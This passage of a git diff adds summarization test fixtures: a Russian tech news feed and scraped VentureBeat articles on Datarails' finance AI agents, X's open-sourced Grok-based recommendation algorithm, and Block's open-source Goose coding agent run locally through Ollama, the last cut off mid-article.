2, в которой 30 ватт, в новинку поставили пять динамиков на 50 ватт. Показать полностью Apple запускает дизайнерские носки для iPhone за $150 В 2004 году Apple выпустила носки-чехлы для iPod — $29 за комплект из 6 штук. Они защищали плеер от царапин и согревали на холоде. Показать полностью Разработчик выпустил плагин, который позволяет нейросети «говорить не как ИИ» — он обучил его на статье из «Википедии» о признаках сгенерированного текста Писали её наверняка не для этого. Плагин, который выпустил технический инженер по имени Чэнь Сыци, работает с ИИ-помощником Claude Code от Anthropic и даёт ему указание писать не как ИИ-модель. Об этом пишет ArsTechnica. Показать полностью Хидео Кодзима в Сербии: путешествие с пылесосом в церкви Кодзима в церкви с пылесосом на заднем плане. Сперва подумали ИИ, оказалось Хидео просто путешествует по Сербии. Показать полностью 10 неприятных вопросов специалисту по ИБ Задали менеджеру продуктов информационной безопасности десять неприятных, но честных вопросов о смысле, пользе и реальной эффективности ИБ Показать полностью В датском App Store на первое место вышло приложение NonUSA для бойкота американских товаров Причиной этого могли стать заявления президента США Дональда Трампа про Гренландию. Показать полностью Правительство запланировало создать «Объединённую микроэлектронную компанию», чтобы консолидировать государственные и частные активы для создания полного цикла производства чипов — CNews По данным издания, до 2030 года на неё планируют выделить из бюджета 750 млрд рублей, ещё 250 млрд рублей вложит «Сбер». Показать полностью Акции Ubisoft упали на 30% после отмены шести игр и объявления о реструктуризации И сокращения прогноза по выручке. Показать полностью Главный итог 2026 года: Эра доступной ипотеки на покупку квартир в новостройках за счёт государства завершилась? В 2026 году правила льготной ипотеки в России претерпели значительные изменения, направленные на более точечную поддержку и снижение нагрузки на бюджет. 1. Полное прекращение действия «базовых» льготных программ · Программа «Семейная ипотека» завершила приём заявок 31 декабря 2025 года. Новые договоры по этой ставке (6% на весь срок) не заключают… Показать полностью Я управляю fashion-бизнесом 10+ лет и скажу прямо: Россия выпала из глобального fashion-контекста — и это уже необратимо. Прогноз на 2026 Почему мода больше не про вдохновение, fast fashion не умирает, а управлять брендом в России нужно совсем иначе, чем до 2022. Дисклеймер, который обычно не говорят вслух Показать полностью Инженер xAI уволен за раскрытие проекта Macrohard — цифровых двойников офисных сотрудников на мощностях Tesla Сулейман Гхори выдал в подкасте все секреты: от карнавальных разрешений для дата-центров до двухъярусных кроватей в спортзале. Походу, Маск не оценил. Показать полностью На бесплатную платформу LMArena добавили генерацию видео — доступны Veo 3 и Sora 2 Также запустили соответствующий рейтинг ИИ-моделей. Показать полностью +============== diff --git a/tests/summarization/https___venturebeat.com_data_cfos-are-now-getting-their-own-vibe-coding-moment-thanks-to-datarails.txt b/tests/summarization/https___venturebeat.com_data_cfos-are-now-getting-their-own-vibe-coding-moment-thanks-to-datarails.txt new file mode 100644 index 0000000..8ea9c6d --- /dev/null +++ b/tests/summarization/https___venturebeat.com_data_cfos-are-now-getting-their-own-vibe-coding-moment-thanks-to-datarails.txt @@ -0,0 +1,2 @@ +Featured CFOs are now getting their own 'vibe coding' moment thanks to Datarails Carl Franzen January 21, 2026 Left to right: Oded Har-Tal, Datarails Co-Founder & CTO; Datarails' mascot (Bob Sheetner); Didi Gurfinkel, Datarails Co-Founder & CEO and Eyal. Credit: Datarails For the modern CFO, the hardest part of the job often isn't the math—it's the storytelling. After the books are closed and the variances calculated, finance teams spend days, sometimes weeks, manually copy-pasting charts into PowerPoint slides to explain why the numbers moved. Today, 11-year-old Israeli fintech company Datarails announced a set of new generative AI tools designed to automate that "last mile" of financial reporting, effectively allowing finance leaders to "vibe code" their way to a board deck. Launching today to accompany the firm's newly announced $70 million Series C funding round, the company’s new Strategy, Planning, and Reporting AI Finance Agents promise to answer complex financial questions with fully formatted assets, not just text. A finance professional can now ask, "What’s driving our profitability changes this year?" or "Why did Marketing go over budget last month?" and the system will instantly generate board-ready PowerPoint slides, PDF reports, or Excel files containing the answer. The deployment of these agents marks a fundamental shift in how the "Office of the CFO" interacts with data. Beyond the chatbot The promise of the new agents is to solve the fragmentation problem that plagues finance departments. Unlike a sales leader who lives in Salesforce, or a CIO who relies on ServiceNow, the CFO has no single "system of truth". Data is scattered across ERPs, HRIS, CRMs, and bank portals. A major barrier to AI adoption in finance has been security. CFOs are rightfully hesitant to plug P&L data into public models. Datarails has addressed this by leveraging Microsoft’s Azure OpenAI Service. "We use the OpenAI in Azure to ensure the privacy and the security for our customers, they don't like to share the data in [an] open LLM," Gurfinkel noted. This allows the platform to utilize state-of-the-art models while keeping data within a secure enterprise perimeter. Datarails’ new agents sit on top of a unified data layer that connects these disparate systems. Because the AI is grounded in the company’s own unified internal data, it avoids the hallucinations common in generic LLMs while offering a level of privacy required for sensitive financial data. "If the CFO wants to leverage AI on the CFO level or the organization data, they need to consolidate the data," explained Datarails CEO and co-founder Didi Gurfinkel in an interview with VentureBeat. By solving that consolidation problem first, Datarails can now offer agents that understand the context of the business. "Now the CFO can use our agents to run analysis, get insights, create reports... because now the data is ready," Gurfinkel said. 'Vibe coding' for finance The launch taps into a broader trend in software development where natural language prompts replace complex coding or manual configuration—a concept tech circles refer to as "vibe coding." Gurfinkel believes this is the future of financial engineering. "Very soon, the CFO and the financial team themselves will be able to develop applications," Gurfinkel predicted. "The LLMs become so strong that in one prompt, they can replace full product runs." He described a workflow where a user could simply prompt: "That was my budget and my actual of the past year. Now build me the budget for the next year." The new agents are designed to handle exactly these types of complex, multi-variable scenarios. For example, a user could ask, "What happens if revenue grows slower next quarter?" and receive a scenario analysis in return. Because the output can be delivered as an Excel file, finance teams can verify the formulas and assumptions, maintaining the audit trail that generic AI tools often lack. Ease of adoption: The 'anti-implementation' For most engineering teams, the arrival of a new enterprise financial platform signals a looming headache: months of data migration, schema redesigns, and the inevitable friction of forcing non-technical users to abandon their preferred workflows. Datarails has engineered its way around this friction by building what might be best described as an "anti-implementation." Instead of demanding a "rip and replace" of legacy systems, the platform accepts the messy reality of the modern finance stack. The architecture is designed to decouple the data storage from the presentation layer, effectively treating the organization's existing Excel files as a frontend interface while Datarails acts as the backend database. "We are not replacing anything," Gurfinkel explained. "The implementation can be very fast, from a few hours to maybe a few days". From a technical perspective, this means the "engineering" requirement is almost entirely stripped away. There are no ETL pipelines to build or Python scripts to maintain. The system comes pre-wired with over 200 native connectors—linking directly to ERPs like NetSuite and Sage, CRMs like Salesforce, and various HRIS and bank portals. The heavy lifting is replaced by a "no-code" mapping process. A finance analyst, not a developer, maps the fields from their General Ledger to their Excel models in a self-service workflow. For modules like Month-End Close, the company explicitly promises that "no IT support is needed," a phrase that likely comes as a relief to stretched CTOs. Even complex setups, such as the new Cash Management module which requires banking integrations, are typically fully operational within two to three weeks. The result is a system where the "technical debt" usually associated with financial transformation is rendered obsolete. The finance team gets their "single source of truth" without ever asking engineering to provision a database. From version Control to vision control: a pivot that paid off Datarails wasn't always the "FinanceOS" for the AI era. Founded in 2015 by Gurfinkel alongside co-founders Eyal Cohen (COO) and Oded Har-Tal (CTO), the Tel Aviv-based startup spent its early years tackling a dryer problem: version control for Excel. The initial premise was to synchronize and manage spreadsheets across enterprises, but adoption was sluggish as the team struggled to find the right product-market fit. The breakthrough came in 2020 with a strategic pivot. The team realized that finance professionals didn't want to replace Excel with a new dashboard; they wanted to fix Excel's limitations—specifically manual consolidation and data fragmentation. By shifting focus to SMB finance teams and embracing an "Excel-native" automation philosophy, the company found its stride. This alignment led to rapid scaling, fueled by a $55 million Series A in June 2021 led by Zeev Ventures, followed quickly by a $50 million Series B in March 2022 led by Qumra Capital. While the company faced headwinds during the tech downturn—resulting in an 18% workforce reduction in late 2022—it has since rebounded aggressively. By 2025, Datarails had nearly doubled its workforce to over 400 employees globally, driven by a multi-product expansion strategy that now includes Month-End Close and Cash Management solutions. Fueling the expansion The new AI capabilities are supported by the $70 million Series C injection from One Peak, along with existing investors Vertex Growth, Vintage Investment Partners, and others. The funding arrives after a year of 70% revenue growth for Datarails, driven largely by the expansion of its product suite. More than 50% of the company's growth in 2025 came from solutions launched in the last 12 months, including Datarails Month-End Close (a tool for automating reconciliations and workflow management) and Datarails Cash Management (for real-time liquidity monitoring). These products serve as the "plumbing" that makes the new AI agents effective. By automating the month-end close and unifying cash data, Datarails ensures that when a CFO asks the AI a question, the underlying numbers are accurate and up-to-date. For Gurfinkel, the goal is to make the finance office "AI-native" without forcing users to abandon their favorite tool: Excel. "We are not replacing anything," Gurfinkel said. "We connect the Excel so Excel now becomes the calculation and the presentation." With the launch of these new agents, Datarails is betting that the future of finance isn't about learning new software, but about having a conversation with the data you already have. Subscribe to get latest news! Deep insights for enterprise AI, data, and security leaders VB Daily AI Weekly AGI Weekly Security Weekly Data Infrastructure Weekly VB Events All of them By submitting your email, you agree to our Terms and Privacy Notice. Get updates You're in! Our latest news will be hitting your inbox soon. Credit: VentureBeat made with Grok Imagine X open sources its algorithm: 5 ways business analysts can benefit Elon Musk's social network X (formerly known as Twitter) last night released some of the code and architecture of its overhauled social recommendation algorithm under a permissive, enterprise-friendly open source license (Apache 2.0) on Github, allowing for commercial usage and modification. Carl Franzen January 20, 2026 Credit: Image generated by VentureBeat with FLUX-2-Pro DeepSeek’s conditional memory fixes silent LLM waste: GPU cycles lost to static lookups When an enterprise LLM retrieves a product name, technical specification, or standard contract clause, it's using expensive GPU computation designed for complex reasoning — just to access static information. This happens millions of times per day. Each lookup wastes cycles and inflates infrastructure costs. Sean Michael Kerner January 13, 2026 Partner Content As AI workloads skyrocket, Alberta is positioning itself as North America’s next compute powerhouse Presented by Invest Alberta VB Staff January 12, 2026 Credit: Image generated by VentureBeat with FLUX-2-Pro Databricks' Instructed Retriever beats traditional RAG data retrieval by 70% — enterprise metadata was the missing link Instructed Retriever leverages contextual memory for system-level specifications while using retrieval to access the broader data estate. Sean Michael Kerner January 8, 2026 Credit: Image generated by VentureBeat with FLUX-2-Pro Six data shifts that will shape enterprise AI in 2026 As 2026 dawns, one lesson has become unavoidable: data matters more than ever. Sean Michael Kerner December 31, 2025 Credit: Image generated by VentureBeat with NanoBanana-Pro With 91% accuracy, open source Hindsight agentic memory provides 20/20 vision for AI agents stuck on failing RAG It has become increasingly clear in 2025 that retrieval augmented generation (RAG) isn't enough to meet the growing data requirements for agentic AI. Sean Michael Kerner December 16, 2025 Credit: Image generated by VentureBeat with FLUX-pro-1.1-ultra AI agent evaluation replaces data labeling as the critical path to production deployment As LLMs have continued to improve, there has been some discussion in the industry about the continued need for standalone data labeling tools, as LLMs are increasingly able to work with all types of data. HumanSignal, the lead commercial vendor behind the open-source Label Studio program, has a different view. Rather than seeing less demand for data labeling, the company is seeing more. Sean Michael Kerner November 21, 2025 Credit: Image generated by VentureBeat with FLUX-pro-1.1-ultra Microsoft's Fabric IQ teaches AI agents to understand business operations, not just data patterns Semantic intelligence is a critical element of actually understanding what data means and how it can be used. Sean Michael Kerner November 18, 2025 Credit: Image generated by VentureBeat with FLUX-pro-1.1-ultra Databricks: 'PDF parsing for agentic AI is still unsolved' — new tool replaces multi-service pipelines with single function There is a lot of enterprise data trapped in PDF documents. To be sure, gen AI tools have been able to ingest and analyze PDFs, but accuracy, time and cost have been less than ideal. New technology from Databricks could change that. Sean Michael Kerner November 14, 2025 Snowflake builds new intelligence that goes beyond RAG to query and aggregate thousands of documents at once Enterprise AI has a data problem. Despite billions in investment and increasingly capable language models, most organizations still can't answer basic analytical questions about their document repositories. The culprit isn't model quality but architecture: Traditional retrieval augmented generation (RAG) systems were designed to retrieve and summarize, not analyze and aggregate across large document sets. Sean Michael Kerner November 4, 2025 Credit: Image generated by VentureBeat with FLUX-pro-1.1-ultra AI coding transforms data engineering: How dltHub's open-source Python library helps developers create data pipelines for AI in minutes A quiet revolution is reshaping enterprise data engineering. Python developers are building production data pipelines in minutes using tools that would have required entire specialized teams just months ago. Sean Michael Kerner November 3, 2025 Credit: Image generated by VentureBeat with FLUX-pro-1.1-ultra The missing data link in enterprise AI: Why agents need streaming context, not just better prompts Enterprise AI agents today face a fundamental timing problem: They can't easily act on critical business events because they aren't always aware of them in real-time. Sean Michael Kerner October 29, 2025 +============== diff --git a/tests/summarization/https___venturebeat.com_data_x-open-sources-its-algorithm-5-ways-businesses-can-benefit.txt b/tests/summarization/https___venturebeat.com_data_x-open-sources-its-algorithm-5-ways-businesses-can-benefit.txt new file mode 100644 index 0000000..7753e25 --- /dev/null +++ b/tests/summarization/https___venturebeat.com_data_x-open-sources-its-algorithm-5-ways-businesses-can-benefit.txt @@ -0,0 +1,2 @@ +X open sources its algorithm: 5 ways businesses can benefit Carl Franzen January 20, 2026 Credit: VentureBeat made with Grok Imagine Elon Musk's social network X (formerly known as Twitter) last night released some of the code and architecture of its overhauled social recommendation algorithm under a permissive, enterprise-friendly open source license (Apache 2.0) on Github, allowing for commercial usage and modification. This is the algorithm that decides which X posts and accounts to show to which users on the social network. 0:00 / 14:09 Keep Watching The new X algorithm, as opposed toto the manual heuristic rules and legacy models in the past, is based on a "Transformer" architecture powered by its parent company, xAI’s, Grok AI language model. This is a significant release for enterprises who have brand accounts on X, or whose leaders and employees use X to post company promotional messages, links, content, etc — as it now provides a look at how X evaluates posts and accounts on the platform, and what criteria go into it deciding to show a post or specific account to users. Therefore, it's imperative for any businesses using X to post promotional and informational content to understand how the X algorithm works as best as they can, in order to maximize their usage of the platform. To analogize: imagine trying to navigate a hike through a massive woods without a map. You'd likely end up lost and waste time and energy (resources) trying to get to your destination. But with a map, you could plot your route, look for the appropriate landmarks, check your progress along the way, and revise your path as necessary to stay on track. X open sourcing its new transformer-based recommendation algorithm is in many ways just this — providing a "map" to all those who use the platform on how to achieve the best performance they (and their brands) can. Here is the technical breakdown of the new architecture and five data-backed strategies to leverage it for commercial growth. The "Red Herring" of 2023 vs. The "Grok" Reality of 2026 In March 2023, shortly after it was acquired by Musk, X also open sourced its recommendation algorithm. However, the release revealed a tangled web of "spaghetti code" and manual heuristics and was criticized by outlets like Wired (where my wife works, full disclosure) and organizations including the Center for Democracy and Technology, as being too heavily redacted to be useful. It was seen as a static snapshot of a decaying system. The code released on January 19, 2026, confirms that the spaghetti is gone. X has replaced the manual filtering layers with a unified, AI-driven Transformer architecture. The system uses a RecsysBatch input model that ingests user history and action probabilities to output a raw score. It is cleaner, faster, and infinitely more ruthless. But there is a catch: The specific "weighting constants"—the magic numbers that tell us exactly how much a Like or Reply is worth—have been redacted from this release. Here are the five strategic imperatives for brands operating in this new, Grok-mediated environment. 1. The "Velocity" Window: You Have 30 Minutes to Live or Die In the 2023 legacy code, content drifted through complex clusters, often finding life hours after posting. The new Grok architecture is designed for immediate signal processing. Community analysis of the new Rust-based scoring functions reveals a strict "Velocity" mechanic. The lifecycle of a corporate post is determined in the first half-hour. If engagement signals (clicks, dwells, replies) fail to exceed a dynamic threshold in the first 15 minutes, the post is mathematically unlikely to breach the general "For You" pool. The architecture includes a specific scorer that penalizes multiple posts from the same user in a short window. Posting 10 times a day yields diminishing returns; the algorithm actively downranks your 3rd, 4th, and 5th posts to force variety into the feed. Space your announcements out. Thus, the takeaway for business data leads is to coordinate your internal comms and advocacy programs with military precision. "Employee advocacy" can no longer be asynchronous. If your employees or partners engage with a company announcement two hours later, the mathematical window has likely closed. You must front-load engagement in the first 10 minutes to artificially spike the velocity signal. 2. The "Reply" Trap: Why Engagement Bait is Dead In 2023, data suggested that an author replying to comments was a "cheat code" for visibility. In 2026, this strategy has become a trap. While early analysis circulated rumors of a "75x" boost for replies, developers examining the new repository have confirmed that the actual weighting constants are hidden. More importantly, X’s Head of Product, Nikita Bier, has explicitly stated that "Replies don't count anymore" for revenue sharing, in a move designed to kill "reply rings" and spam farms. Bier clarified that replies only generate value if they are high-quality enough to generate "Home Timeline impressions" on their own merit. As this is the case, businesses should stop optimizing for "reply volume" and start optimizing for "reply quality." The algorithm is actively hostile toward low-effort engagement rings. Businesses and individuals should not reply incessantly to every comment with emojis or generic thanks. They should only reply if the response adds enough value to stand alone as a piece of content in a user’s feed. With replies devalued, focus on the other positive signals visible in the code: dwell_time (how long a user freezes on your post) and share_via_dm. Long-form threads or visual data that force a user to stop scrolling are now mathematically safer bets than controversial questions. 3. X Is Basically Pay-to-Play, Now The 2023 algorithm used X paid subscription status as one of many variables. The 2026 architecture simplifies this into a brutal base-score reality. Code analysis reveals that before a post is evaluated for quality, the account is assigned a base score. X accounts that are "verified" by paying the monthly "Premium" subscription ($3 per month for individual account Premium Basic, $200/month for businesses) receive a significantly higher ceiling (up to +100) compared to unverified accounts, which are capped (max +55). Therefore, if your brand, executives, or key spokespeople are not verified (X Premium or Verified Organizations), you are competing with a handicap. For a business looking to acquire customers or leads via X, verification is a mandatory infrastructure cost to remove a programmatic throttle on your reach. 4. The "Report" Penalty: Brand Safety Requires De-escalation The Grok model has replaced complex "toxicity" rules with a simplified feedback loop. While the exact weight of someone filing a "Report" on your X post or account over objectionable or false material is hidden in the new config files, it remains the ultimate negative signal. But it isn't the only one. The model also outputs probabilities for P(not_interested) and P(mute_author). Irrelevant clickbait doesn't just get ignored; it actively trains the model to predict that users will mute you, permanently suppressing your future reach. In a system driven by AI probabilities, a "Report" or "Block" signal trains the model to permanently dissociate your brand from that user's entire cluster. In practice, this means "rage bait" or controversial takes are now incredibly dangerous for brands. It takes only a tiny fraction of users utilizing the "Report" function to tank a post's visibility entirely. Your content strategy must prioritize engagement that excites users enough to reply, but never enough to report. 5. OSINT as a Competency: Watch the Execs, Not Just the Repo The most significant takeaway from today's release is what is missing. The repository provides the architecture (the "car"), but it hides the weights (the "fuel"). As X user @Tenobrus noted, the repo is "barebones" regarding constants. This means you cannot rely solely on the code to dictate strategy. You must triangulate the code with executive communications. When Bier announces a change to "revenue share" logic, you must assume it mirrors a change in the "ranking" logic. Therefore, data decision makers should assign a technical lead to monitor both the xai-org/x-algorithm repository and the public statements of the Engineering team. The code tells you *how* the system thinks; the executives tell you *what* it is currently rewarding. Summary: The Code is the Strategy The Grok-based transformer architecture is cleaner, faster, and more logical than its predecessor. It does not care about your legacy or your follower count. It cares about Velocity and Quality. The Winning Formula: 1. Verify to secure the base score. 2. Front-load engagement to survive the 30-minute velocity check. 3. Avoid "spammy" replies; focus on standalone value. 4. Monitor executive comms to fill in the gaps left by the code. In the era of Grok, the algorithm is smarter. Your data and business strategy using X ought to be, too. Subscribe to get latest news! Deep insights for enterprise AI, data, and security leaders VB Daily AI Weekly AGI Weekly Security Weekly Data Infrastructure Weekly VB Events All of them By submitting your email, you agree to our Terms and Privacy Notice. Get updates You're in! Our latest news will be hitting your inbox soon. Credit: Image generated by VentureBeat with FLUX-2-Pro DeepSeek’s conditional memory fixes silent LLM waste: GPU cycles lost to static lookups When an enterprise LLM retrieves a product name, technical specification, or standard contract clause, it's using expensive GPU computation designed for complex reasoning — just to access static information. This happens millions of times per day. Each lookup wastes cycles and inflates infrastructure costs. Sean Michael Kerner January 13, 2026 Partner Content As AI workloads skyrocket, Alberta is positioning itself as North America’s next compute powerhouse Presented by Invest Alberta VB Staff January 12, 2026 Credit: Image generated by VentureBeat with FLUX-2-Pro Databricks' Instructed Retriever beats traditional RAG data retrieval by 70% — enterprise metadata was the missing link Instructed Retriever leverages contextual memory for system-level specifications while using retrieval to access the broader data estate. Sean Michael Kerner January 8, 2026 Credit: Image generated by VentureBeat with FLUX-2-Pro Six data shifts that will shape enterprise AI in 2026 As 2026 dawns, one lesson has become unavoidable: data matters more than ever. Sean Michael Kerner December 31, 2025 Credit: Image generated by VentureBeat with NanoBanana-Pro With 91% accuracy, open source Hindsight agentic memory provides 20/20 vision for AI agents stuck on failing RAG It has become increasingly clear in 2025 that retrieval augmented generation (RAG) isn't enough to meet the growing data requirements for agentic AI. Sean Michael Kerner December 16, 2025 Credit: Image generated by VentureBeat with FLUX-pro-1.1-ultra AI agent evaluation replaces data labeling as the critical path to production deployment As LLMs have continued to improve, there has been some discussion in the industry about the continued need for standalone data labeling tools, as LLMs are increasingly able to work with all types of data. HumanSignal, the lead commercial vendor behind the open-source Label Studio program, has a different view. Rather than seeing less demand for data labeling, the company is seeing more. Sean Michael Kerner November 21, 2025 Credit: Image generated by VentureBeat with FLUX-pro-1.1-ultra Microsoft's Fabric IQ teaches AI agents to understand business operations, not just data patterns Semantic intelligence is a critical element of actually understanding what data means and how it can be used. Sean Michael Kerner November 18, 2025 Credit: Image generated by VentureBeat with FLUX-pro-1.1-ultra Databricks: 'PDF parsing for agentic AI is still unsolved' — new tool replaces multi-service pipelines with single function There is a lot of enterprise data trapped in PDF documents. To be sure, gen AI tools have been able to ingest and analyze PDFs, but accuracy, time and cost have been less than ideal. New technology from Databricks could change that. Sean Michael Kerner November 14, 2025 Snowflake builds new intelligence that goes beyond RAG to query and aggregate thousands of documents at once Enterprise AI has a data problem. Despite billions in investment and increasingly capable language models, most organizations still can't answer basic analytical questions about their document repositories. The culprit isn't model quality but architecture: Traditional retrieval augmented generation (RAG) systems were designed to retrieve and summarize, not analyze and aggregate across large document sets. Sean Michael Kerner November 4, 2025 Credit: Image generated by VentureBeat with FLUX-pro-1.1-ultra AI coding transforms data engineering: How dltHub's open-source Python library helps developers create data pipelines for AI in minutes A quiet revolution is reshaping enterprise data engineering. Python developers are building production data pipelines in minutes using tools that would have required entire specialized teams just months ago. Sean Michael Kerner November 3, 2025 Credit: Image generated by VentureBeat with FLUX-pro-1.1-ultra The missing data link in enterprise AI: Why agents need streaming context, not just better prompts Enterprise AI agents today face a fundamental timing problem: They can't easily act on critical business events because they aren't always aware of them in real-time. Sean Michael Kerner October 29, 2025 Credit: Image generated by VentureBeat with FLUX-pro-1.1-ultra Research finds that 77% of data engineers have heavier workloads despite AI tools: Here's why and what to do about it Data engineers should be working faster than ever. AI-powered tools promise to automate pipeline optimization, accelerate data integration and handle the repetitive grunt work that has defined the profession for decades. Sean Michael Kerner October 23, 2025 +============== diff --git a/tests/summarization/https___venturebeat.com_infrastructure_claude-code-costs-up-to-usd200-a-month-goose-does-the-same-thing-for-free.txt b/tests/summarization/https___venturebeat.com_infrastructure_claude-code-costs-up-to-usd200-a-month-goose-does-the-same-thing-for-free.txt new file mode 100644 index 0000000..b4f40f8 --- /dev/null +++ b/tests/summarization/https___venturebeat.com_infrastructure_claude-code-costs-up-to-usd200-a-month-goose-does-the-same-thing-for-free.txt @@ -0,0 +1,2 @@ +Featured Claude Code costs up to $200 a month. Goose does the same thing for free. Michael Nuñez January 19, 2026 Credit: VentureBeat made with Midjourney The artificial intelligence coding revolution comes with a catch: it's expensive. Claude Code, Anthropic's terminal-based AI agent that can write, debug, and deploy code autonomously, has captured the imagination of software developers worldwide. But its pricing — ranging from $20 to $200 per month depending on usage — has sparked a growing rebellion among the very programmers it aims to serve. Now, a free alternative is gaining traction. Goose, an open-source AI agent developed by Block (the financial technology company formerly known as Square), offers nearly identical functionality to Claude Code but runs entirely on a user's local machine. No subscription fees. No cloud dependency. No rate limits that reset every five hours. 0:03 / 14:09 Keep Watching "Your data stays with you, period," said Parth Sareen, a software engineer who demonstrated the tool during a recent livestream. The comment captures the core appeal: Goose gives developers complete control over their AI-powered workflow, including the ability to work offline — even on an airplane. The project has exploded in popularity. Goose now boasts more than 26,100 stars on GitHub, the code-sharing platform, with 362 contributors and 102 releases since its launch. The latest version, 1.20.1, shipped on January 19, 2026, reflecting a development pace that rivals commercial products. For developers frustrated by Claude Code's pricing structure and usage caps, Goose represents something increasingly rare in the AI industry: a genuinely free, no-strings-attached option for serious work. Anthropic's new rate limits spark a developer revolt To understand why Goose matters, you need to understand the Claude Code pricing controversy. Anthropic, the San Francisco artificial intelligence company founded by former OpenAI executives, offers Claude Code as part of its subscription tiers. The free plan provides no access whatsoever. The Pro plan, at $17 per month with annual billing (or $20 monthly), limits users to just 10 to 40 prompts every five hours — a constraint that serious developers exhaust within minutes of intensive work. The Max plans, at $100 and $200 per month, offer more headroom: 50 to 200 prompts and 200 to 800 prompts respectively, plus access to Anthropic's most powerful model, Claude 4.5 Opus. But even these premium tiers come with restrictions that have inflamed the developer community. In late July, Anthropic announced new weekly rate limits. Under the system, Pro users receive 40 to 80 hours of Sonnet 4 usage per week. Max users at the $200 tier get 240 to 480 hours of Sonnet 4, plus 24 to 40 hours of Opus 4. Nearly five months later, the frustration has not subsided. The problem? Those "hours" are not actual hours. They represent token-based limits that vary wildly depending on codebase size, conversation length, and the complexity of the code being processed. Independent analysis suggests the actual per-session limits translate to roughly 44,000 tokens for Pro users and 220,000 tokens for the $200 Max plan. "It's confusing and vague," one developer wrote in a widely shared analysis. "When they say '24-40 hours of Opus 4,' that doesn't really tell you anything useful about what you're actually getting." The backlash on Reddit and developer forums has been fierce. Some users report hitting their daily limits within 30 minutes of intensive coding. Others have canceled their subscriptions entirely, calling the new restrictions "a joke" and "unusable for real work." Anthropic has defended the changes, stating that the limits affect fewer than five percent of users and target people running Claude Code "continuously in the background, 24/7." But the company has not clarified whether that figure refers to five percent of Max subscribers or five percent of all users — a distinction that matters enormously. How Block built a free AI coding agent that works offline Goose takes a radically different approach to the same problem. Built by Block, the payments company led by Jack Dorsey, Goose is what engineers call an "on-machine AI agent." Unlike Claude Code, which sends your queries to Anthropic's servers for processing, Goose can run entirely on your local computer using open-source language models that you download and control yourself. The project's documentation describes it as going "beyond code suggestions" to "install, execute, edit, and test with any LLM." That last phrase — "any LLM" — is the key differentiator. Goose is model-agnostic by design. You can connect Goose to Anthropic's Claude models if you have API access. You can use OpenAI's GPT-5 or Google's Gemini. You can route it through services like Groq or OpenRouter. Or — and this is where things get interesting — you can run it entirely locally using tools like Ollama, which let you download and execute open-source models on your own hardware. The practical implications are significant. With a local setup, there are no subscription fees, no usage caps, no rate limits, and no concerns about your code being sent to external servers. Your conversations with the AI never leave your machine. "I use Ollama all the time on planes — it's a lot of fun!" Sareen noted during a demonstration, highlighting how local models free developers from the constraints of internet connectivity. What Goose can do that traditional code assistants can't Goose operates as a command-line tool or desktop application that can autonomously perform complex development tasks. It can build entire projects from scratch, write and execute code, debug failures, orchestrate workflows across multiple files, and interact with external APIs — all without constant human oversight. The architecture relies on what the AI industry calls "tool calling" or "function calling" — the ability for a language model to request specific actions from external systems. When you ask Goose to create a new file, run a test suite, or check the status of a GitHub pull request, it doesn't just generate text describing what should happen. It actually executes those operations. This capability depends heavily on the underlying language model. Claude 4 models from Anthropic currently perform best at tool calling, according to the Berkeley Function-Calling Leaderboard, which ranks models on their ability to translate natural language requests into executable code and system commands. But newer open-source models are catching up quickly. Goose's documentation highlights several options with strong tool-calling support: Meta's Llama series, Alibaba's Qwen models, Google's Gemma variants, and DeepSeek's reasoning-focused architectures. The tool also integrates with the Model Context Protocol, or MCP, an emerging standard for connecting AI agents to external services. Through MCP, Goose can access databases, search engines, file systems, and third-party APIs — extending its capabilities far beyond what the base language model provides. Setting Up Goose with a Local Model For developers interested in a completely free, privacy-preserving setup, the process involves three main components: Goose itself, Ollama (a tool for running open-source models locally), and a compatible language model. Step 1: Install Ollama Ollama is an open-source project that dramatically simplifies the process of running large language models on personal hardware. It handles the complex work of downloading, optimizing, and serving models through a simple interface. Download and install Ollama from ollama.com. Once installed, you can pull models with a single command. For coding tasks, Qwen 2.5 offers strong tool-calling support: ollama run qwen2.5 The model downloads automatically and begins running on your machine. Step 2: Install Goose Goose is available as both a desktop application and a command-line interface. The desktop version provides a more visual experience, while the CLI appeals to developers who prefer working entirely in the terminal. Installation instructions vary by operating system but generally involve downloading from Goose's GitHub releases page or using a package manager. Block provides pre-built binaries for macOS (both Intel and Apple Silicon), Windows, and Linux. Step 3: Configure the Connection In Goose Desktop, navigate to Settings, then Configure Provider, and select Ollama. Confirm that the API Host is set to http://localhost:11434 (Ollama's default port) and click Submit. For the command-line version, run goose configure, select "Configure Providers," choose Ollama, and enter the model name when prompted. That's it. Goose is now connected to a language model running entirely on your hardware, ready to execute complex coding tasks without any subscription fees or external dependencies. The RAM, processing power, and trade-offs you should know about The obvious question: what kind of computer do you need? Running large language models locally requires substantially more computational resources than typical software. The key constraint is memory — specifically, RAM on most systems, or VRAM if using a dedicated graphics card for acceleration. Block's documentation suggests that 32 gigabytes of RAM provides "a solid baseline for larger models and outputs." For Mac users, this means the computer's unified memory is the primary bottleneck. For Windows and Linux users with discrete NVIDIA graphics cards, GPU memory (VRAM) matters more for acceleration. But you don't necessarily need expensive hardware to get started. Smaller models with fewer parameters run on much more modest systems. Qwen 2.5, for instance, comes in multiple sizes, and the smaller variants can operate effectively on machines with 16 gigabytes of RAM. "You don't need to run the largest models to get excellent results," Sareen emphasized. The practical recommendation: start with a smaller model to test your workflow, then scale up as needed. For context, Apple's entry-level MacBook Air with 8 gigabytes of RAM would struggle with most capable coding models. But a MacBook Pro with 32 gigabytes — increasingly common among professional developers — handles them comfortably. Why keeping your code off the cloud matters more than ever Goose with a local LLM is not a perfect substitute for Claude Code. The comparison involves real trade-offs that developers should understand. Model Quality: Claude 4.5 Opus, Anthropic's flagship model, remains arguably the most capable AI for software engineering tasks. It excels at understanding complex codebases, following nuanced instructions, and producing high-quality code on the first attempt. Open-source models have improved dramatically, but a gap persists — particularly for the most challenging tasks. One developer who switched to the $200 Claude Code plan described the difference bluntly: "When I say 'make this look modern,' Opus knows what I mean. Other models give me Bootstrap circa 2015." Context Window: Claude Sonnet 4.5, accessible through the API, offers a massive one-million-token context window — enough to load entire large codebases without chunking or context management issues. Most local models are limited to 4,096 or 8,192 tokens by default, though many can be configured for longer contexts at the cost of increased memory usage and slower processing. Speed: Cloud-based services like Claude Code run on dedicated server hardware optimized for AI inference. Local models, running on consumer laptops, typically process requests more slowly. The difference matters for iterative workflows where you're making rapid changes and waiting for AI feedback. Tooling Maturity: Claude Code benefits from Anthropic's dedicated engineering resources. Features like prompt caching (which can reduce costs by up to 90 percent for repeated contexts) and structured outputs are polished and well-documented. Goose, while actively developed with 102 releases to date, relies on community contributions and may lack equivalent refinement in specific areas. How 